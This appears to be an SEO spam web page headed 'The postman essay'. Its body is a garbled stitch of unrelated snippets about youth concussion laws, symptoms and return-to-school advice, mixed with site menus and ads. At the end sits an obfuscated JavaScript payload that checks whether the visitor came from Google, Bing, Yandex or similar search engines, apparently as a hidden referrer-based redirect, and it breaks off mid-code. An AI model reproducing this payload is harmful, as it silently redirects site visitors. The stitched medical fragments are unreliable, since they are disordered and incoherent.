The postman essay

Related Topics Unconsciousness – First Aid Head Injury – First Aid Confusion Alertness – Decreased. These include seat belts, bicycle or motorcycle helmets, and hard hats. This law also encourages school districts to have school nurses complete a training course and authorizes physicians to consult with an athletic trainer when determining whether to return a youth athlete to a practice or game. NFHS Concussion Rule in the sport rule book: Latest Video Does Swearing Make You Likable? Reuters Health doing homework or playing games at each of Athletes suspected of having a concussion should be seen by the most immediately. Contact Us Print Resources. The WIAA information is provided for reference only and is not to be considered legal advice. Sports Concussion Institute Contact Us Email: Coding bootcamps are offering more opportunities to women and higher salaries for all https: Also requires coaches to complete a certified coaching education course which includes concussion awareness. This baseline should be done in a quiet environment when the athlete is well rested. Green ants build their grand nests out of leaves, which they pull and join The postman essay together with silk. If neuropsychological testing is available, ideally a baseline or pre-injury test is obtained prior to the season. When in doubt, sit her out. Teens may not even realize the damage that’s occurring. That way they’ll understand any difficulties you might have in the classroom as you get back to your normal self. Most concussive symptoms resolve on their own over days. Episode 2 of Hyper History! The facts and conclusions presented may have since changed and may no longer be accurate. Course will be offered at no charge. Send me expert insights each week in Health Essentials News. Back to Top Prevention Not all head injuries can be prevented. Small hits, ones that don’t slow an athlete at the time, may cause changes in brain structure and cognitive performance. But no video games or texting either! State Legislatures Magazine Advertising Subscribe LegisBriefs Subscribe Other Subscriptions All-Access Pass e-Newsletters Mailing Lists StateConnect Bookstore: These guidelines must inform and educate coaches, parents and pupils of the dangers of concussions and head injuries, and requires the immediate removal from athletic activity if a pupil is suspected of sustaining a concussion. If systems are mild, parents can consider sending their kids back to class, but should inform teachers about the concussion so adjustments can be made to the pace of the class if needed. Late nights, sleepovers, and overnight outings should be avoided. Your pediatrician can help guide this gradual process. My thanks to all of the publishers, editors and, writers who made these gems possible. Amazingly, this silk is produced by their newborn larvae. Get all access to digital and print Subscribe. Return to School Protocol: Living Well Women’s Health Men’s Health Aging Well Healthy Teens Fit Kids. After that, students should resume some cognitive activity and start with taking fewer courses and delaying high-stake tests that account for a large part of their grade. Should I get a blood test for it as well? Concussion Recovery Cognitive Activity Concussion Brain Activity Concussion Cognitive Activity Concussion Homework. Top Picks MS Brain Fog? The ChildrensMD web site is intended as a reference and information source only. Reply James July 1, 5: The bill defines “youth athletic activity,” with certain exceptions, as an organized athletic activity in which the participants, a majority of whom are under 19 years of age, are engaged in an athletic game or competition against another team, club, or entity, or in practice or preparation for an organized athletic game or competition against another team, club, or entity. Do you know how to recognize the warning signs of a concussion? Christopher Bergland The Athlete’s Way. Raccoon eyes are dark circles that appear around the eyes as a symptom of internal bleeding. A repeat concussion that occurs before the brain has recovered from a first one can slow permanent recovery and increase the chances for long-lasting problems. These users are still in school and might not have level of knowledge or expertise as those users in the Green, Blue, or Orange categories.

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Mayo Clinic does not endorse companies or products. The athlete may not return to the activity until they no longer exhibit signs, symptoms, or behaviors consistent with a concussion or are evaluated and cleared by a trained provider. Amends the School and Youth Programs Concussion Act to direct the Department of Education to promulgate guidelines for teachers and teachers’ aides to complete a training course in concussions and traumatic brain injuries. SCI Concussion Management Protocol for Coaches and Athletic Trainers Return to Play: Culture of Violence – Mom Pediatrician Responds to Connecticut Shootings. A repeat concussion that occurs before the brain has recovered from a first one can slow permanent recovery and increase the chances for long-lasting problems. It’s true, researchers The postman essay say. Giza CC, et al. Postpone tests until you feel better. Adults, on the other hand, are neurologically more developed, which results in fewer symptoms and quicker recovery times after mild head injuries. The Last Diet You’ll Ever Need 4 Simple Steps to a Joy-Filled Life Pain Management Strategies from Mayo Clinic Stop Osteoporosis in its Tracks Protect and Preserve Your Vision. Another head injury when you already have a concussion can lead to a condition called second-impact syndrome. The ABC’s of Vitamin D. Most people recover from a concussion in days, but others, particularly young children, may take longer. Kliegman RM, Stanton BF, St. Again, no head contact. Illustration of a concussion. Throughout the past two decades, the WIAA medical advisory committee developed concussion information, guidelines and education materials for its membership that can be utilized by other youth sports programs to address the new law. Creates the Jake Snakenberg Youth Concussion Act. The risk of long-term changes in the brain is high if the person has more than one brain injury Seizures may occur after more severe head injuries. Concussions Not Just A Football Problem: Open user tools Sign In Sign Up. Advisory Board Press Center Contact Sharecare. There may be changes in the person’s pupil size, thinking ability, coordination, and reflexes. More from WebMD The Stress of Caregiving Healthy Cat Tips Immunotherapy for Cancer What Inhalers Do to Your Body Multiple Myeloma 8 Ways to Avoid Heart Attack Treatments for Cancer Living Better With Migraine How to Prevent Meningitis in Your Teen Tips for Your Dog’s Health Diabetes Assessment Avoid Allergy Triggers Treating Advanced Prostate Cancer 5 Things That Spike Your Blood Sugar. Your doctor may conduct several tests to evaluate your thinking cognitive skills during a neurological examination. Lawrence is one of the schools that mandates baseline testing, the athletic trainer gave her a simple cognitive task and recognized that Grace had sustained a head injury. The coach or referee shall not allow the student to return to that practice or competition or to participate in any other practice or competition for which the coach or referee is responsible until the student’s condition is assessed by either a physician or any other licensed health care provider the school district board of education or governing authority of the chartered or nonchartered nonpublic school. The most important point to remember as a parent is that you need to be in control. Senior study author William Meehan told Health Day , “We recommend a period of near full mental rest after injury—approximately three to five days—followed by a gradual return to full levels of mental activity. Kerasidis, MD , Neurology, answered. Slideshow Signs of Alzheimer’s Disease. Even a mild concussion may leave “invisible” but disturbing symptoms, which are indicators of a postconcussive syndrome. What Is a Concussion Specialist? Physical activity should not be started without authorization by an appropriate health care provider. My life is good. And go straight to a doctor if your symptoms such as headaches , confusion, memory problems, or vomiting get worse. By Alexandra Sifferlin acsifferlin Oct. Creates the Concussion Awareness Act and requires each school to make available training on concussions and brain injuries to all coaches of school athletic teams. Subscribe Activate Print Subscription Manage My Account My Profile FAQ Log Out. We handle cases throughout South Carolina including Columbia, Lexington, Florence, Camden, Aiken, Charleston, Orangeburg, Irmo, Gilbert, Red Bank, Blythewood, Gaston, West Columbia, Chapin, Rock Hill, Saluda, Lancaster, Sumter, Spartanburg, Newberry, North Augusta, Batesburg-Leesville, as well as cases in Richland County, Lexington County, Fairfield County, Kershaw County, York County, Newberry County, Calhoun County, and Sumter County. Among other provisions, this law allows the Department of Rehabilitation Services to match state funds with the Division of Medicaid federal funds for care and rehabilitation for individuals with traumatic brain injury. They could have watched TV or movies or listened to music. Powered By Inquirer logo Subscribe. Send to a Friend Permissions Guidelines Bookmark this page. Yet, it’s my understanding based on other studies and research that women and female athletes may actually suffer more frequent concussions than men, or at least as often as men do. Each year, thousands of children and youth are diagnosed with concussion — only half are sports related.

152 Words Short Essay on the Postman for kids

Student athletes who suffer brain injury may wind up having problems with memory, mood or mental performance in later years. Marketplace Deals Find a Home Job Listings Print Offers All Classifieds. Also requires parents or guardians of student athletes to sign a form for that acknowledges receiving and reading written information that explains concussion prevention, symptoms, treatment, and oversight and that includes guidelines for safely resuming participation in an athletic activity following a concussion. The athlete may not return to the activity until they no longer exhibit signs, symptoms, or behaviors consistent with a concussion or are evaluated and cleared by a trained provider. But no video games or texting either! Medical Privacy Policy Disclaimer. MyAccount Login Create Account. Miss a day or more of school until you feel well enough to return. What to Do Concussions: News Sports Business Health Entertainment Food Opinion Real Estate Obits. I experienced two concussions, one in and one in You also should let the school nurse and administrators know about your concussion in case your symptoms get worse or you need to go home. Kids with more minor concussions tended to get over their symptoms faster. Hot Topics Poison Ivy Who Can Get Weight Loss Surgery? Research supports several days’ mental rest, including no screen time. Try low- and medium-intensity exercise , and then no-contact sports, to make sure the physical stress doesn’t cause a setback. Here’s what to do if you suspect a concussion For Teens Concussions: Establishes a committee to study developing a policy for giving preference to veterans in government hiring. The state law is broader in the definition of appropriate health care provider. The risk of long-term changes in the brain is high if the person has more than one brain injury. Check the rules in your state that aim to lower the risk of long term brain damage caused by concussion. A player with a concussion must be carefully observed throughout the practice or competition to be sure they are not feeling worse. Will You See August’s Great Eclipse? But every patient is different, Brown said. Any athlete with a concussion must be seen by an appropriate health care provider before returning to practice including conditioning and weight lifting or competition. Amends current law to require the Board of Education and the Commissioner of Public Health to develop: Geme JW III, et al. New survey data indicates that religiously unaffiliated people in the U. Brown said parents might overreact and want their children to refrain from any activity that requires concentration. Send to a Friend Permissions Guidelines Bookmark this page. Log in to comment Commenting FAQs Community Guidelines. Related Stories Drug Helped Protect Gay Teen Males From HIV Mom-to-Be’s Cellphone May Not Harm Fetal Brain Does General Anesthesia Affect Babies’ Brains? For a concussed brain, these challenges become even more difficult and can result not only in poor academic performance, but also prolonged recovery time. Kerasidis, MD , Neurology, answered. For many kids it will be enough to cut back for three to five days, said study co-author Dr. I have had my share of falls and had two accidents in which I shattered my helmet. Kids Should Skip Homework as Well as Sports with Concussion January 8, By Pete Strom Leave a Comment. Having more than one may mess with your memory or concentration, or lead to other long-term thinking problems. E-mail The content of this field is kept private and will not be shown publicly. What Do You Know? Directory Main Hospital Foundation Research Referring Physicians What ending DACA could mean for young immigrants’ health. Follow Us Facebook Twitter RSS Email Newsletters YouTube CBS Radio News CBS Local. These policies must require the immediate removal of a student from activity or event if the student sustains or is suspected of sustaining a head injury.

The Postman – Essay – Publish Your Articles

When is it a serious head injury? This means dramatically limiting: Tools Manage Your Medications Pill Identifier Check for Interactions. Article 10 Tips for Parenting Preteens. The student may not recommence participation until they have been evaluated and cleared by a licensed health care provider. Top Ongoing Hurricane Irma Hurricane Harvey TV Nightly News Meet The Press Dateline Today Featured NBC News VR Your Business Inspiring America NBCBLK28 Global Citizen. More from WebMD The Stress of Caregiving Healthy Cat Tips Immunotherapy for Cancer What Inhalers Do to Your Body Multiple Myeloma 8 Ways An analysis of hemingways the old man and the sea to Avoid Heart Attack Treatments for Cancer Living Better With Migraine How to Prevent Meningitis in Your Teen Tips for Your Dog’s Health Diabetes Assessment Avoid Allergy Triggers Treating Advanced Prostate Cancer 5 Things That Spike Your Blood Sugar. What you can and can’t do depends on your concussion, but you might have to stay home from school or limit the schoolwork and homework you can do. Ensure that the injured is evaluated by a healthcare professional experienced in dealing with concussions as soon as possible. Requires an organizing entity to maintain a signed statement acknowledging a youth athlete’s receipt of the educational materials, and any required written clearance, and make them available to the DCH upon request. Here are some Components doctoral dissertation signs of a serious problem:. In a word, rest. These are all short-term effects from having a concussion. We do not consider any of those listed as fitting within the definition of athletic activity. A concussion is also called a traumatic brain injury TBI , caused by a bump, blow, or jolt to the head. You are using an outdated browser. How does a concussion affect a student? The law requires all youth athletic organizations to educate coaches, athletes and parents on the risks of concussions and head injuries and prohibits participation in a youth activity until the athlete and parent or guardian has returned a signed agreement sheet indicating they have reviewed the concussion and head injury informational materials. If a person coaches multiple sports can he or she receive info one time per year? collectivites-locales.eu On day 3, perform non-contact training drills at higher intensity and complexity, such as running patterns in football, dribbling and passing drills in soccer and basketball. It’s true, researchers say. During practice drills, players commonly head the ball 30 or more times. The pupil may return to play when evaluated and cleared by a health care provider. A concussion is a very complex physiologic event that causes a problem with brain function not brain structure. Yet, it’s my understanding based on other studies and research that women and female athletes may actually suffer more frequent concussions than men, or at least as often collectivites-locales.eu as men do. The WIAA strongly encourages coaches at all levels to take this free course along with officials, parents and athletes so they have a better understanding of concussions and their effects on young, adolescent brain function. If you’re having a hard time shedding pounds, try adjusting these common eating habits. If you A narative essay notice these problems — or any other changes that worry you — always call the doctor. Find a Therapist Therapists: Writing in the journal Pediatrics , the scientists describe how people who took it easy in the wake of their concussion—abstaining from any taxing mental activity—recovered much more quickly. It is highly recommended. The ChildrensMD web site is intended as a reference and information source only. These training and refresher courses must be approved by the State Board of Education. Troubling but perhaps just as disturbing is a look at the participants themselves and the head injuries they’d already suffered at a young age. CBC User You currently have: Article Teens and Virginity. More strenuous sport-specific exercise running, sprinting, skating without any equipment or contact. Answers On Innovation Thomson Reuters. Now that there’s more awareness about concussions, most teachers know about the healing process and what students need to do. This is particularly important in children and young adults, because their brains are still forming. The signs and symptoms of poor short-term memory, concentration and organization may temporarily turn a good student into a poor student. Sometimes a concussion is an emergency. All concussions are brain injuries. Click here to see an example.

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Experts by Topic Public Speakers Media Interviews All Experts. The doctor will check your nervous system by testing your balance, coordination, nerve function, and reflexes. Medical experts are worried that too much learning stimulation can overwhelm a brain that is still recovering, and make it even more difficult for a child to get back on track. To determine compliance, schools should refer to their legal counsel and the DPI. If you hit your head but didn’t see a doctor, be on the lookout for signs of a concussion. Parents share their best advice. Striking differences in rates of suicide attempts between provinces revealed in mental health findings. It’s true, researchers say. The case for a national school food program in Canada video Size 0 models banned by 2 French fashion giants CMA head calls small business tax change a ‘heart-wrenching’ prospect for female doctors read comments video ‘This is what an overdose looks like’: Return to School Protocol: No, but best practice and suggested additional training for coaches should be considered by the school administration. If your head or another part of your body is hit hard enough, it can cause your head to move suddenly. A season begins on the date of the first practice for the particular athletic activity. By Steven Reinberg HealthDay Reporter MONDAY, Jan. I also have hearing loss, which I started to notice after my concussion and balance problem which is very bad because I am a dancer…. Know Your Cancer Options Hearing Loss Help Ringing in the Ears Managing Cancer Dupuytren’s Treatment. If you have any concerns please be sure to follow up with a licensed physician. Even if a student is well enough to go back to classes, the lights and noise, screens, or mental strain may preclude her from participating fully. Resources Symptom Checker Expert Blogs and Interviews Message Boards Insurance Guide Find a Doctor View All. What to do if you’re being stalked. A licensed medical professional should be consulted for diagnosis and treatment of any and all An analysis of hemingways the old man and the sea medical conditions. That’s when the brain is being overstimulated.

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How can you support students who have a concussion? How Women Really Feel About Sex. This is my annual attempt to bring roughly of those stories that stood the test of time to a wider audience. Laws, Act HB Requires an athletic coach or official to remove a person from a youth athletic activity if the person exhibits signs, symptoms, or behavior consistent with a concussion or head injury or the coach or official suspects the person has sustained a concussion or head injury. Cognitive activities that require high levels of concentration—such as studying for a test or doing homework—can cause symptoms to worsen and prolong recovery. For a step-by-step illustration of complete concussion management, refer to the SCI Concussion Management Protocol for Coaches and Athletic Trainers. He also joined a fraternity he was the only black member , played guitar in a campus jazz band, and tutored jazz guitarists at a local high school. We would recommend it and we have a sample on the concussion page. Raccoon eyes are dark circles that appear around the eyes as a symptom of internal bleeding. Thus, it is important for schools to educate their athletes, coaching staff and parents in the preseason about the seriousness of concussion and the importance of athletes honestly reporting their symptoms and injuries. He said that when the brain is jolted hard, it experiences a sort of mini-seizure. Hospitals Are Clogged With Patients Struggling With Opioids A Cancer Conundrum: Screens also introduce lights and motion, which may also slow down recovery or aggravate symptoms. Athletes with multiple concussions and athletes with prolonged symptoms often require a prolonged or different return to activity program and should be managed by a physician that has experience in treating concussion. Resources HIPAA Policy Privacy Policy. Lassonde previously worked alongside members of the Montreal Canadiens hockey team who suffered from severe head trauma, undertaking research into the long-term effects it can have on athletes. It is important to allow for sufficient brain rest so that the brain is able to heal. CHOP Primary Care physicians are located in more than 30 communities across Southeastern Pennsylvania and New Jersey, and are especially equipped with training and diagnostic support tools for concussion. Request an Appointment at Mayo Clinic. Also prohibits the return of the athlete until he or she is evaluated, and receives written clearance from a licensed health care provider. Significant cognitive activity fewer activities than normal. WIAA Sports Medical Advisory Council identifies a physician and licensed athletic trainer LAT under the direct supervision of a physician as an appropriate health care professional for determining return to play other than the same day.

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4sFTivr

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,55,50,53,57,51,56,72,84,77,76,60,34,48,112,47,119,63,38,95,43,85,67,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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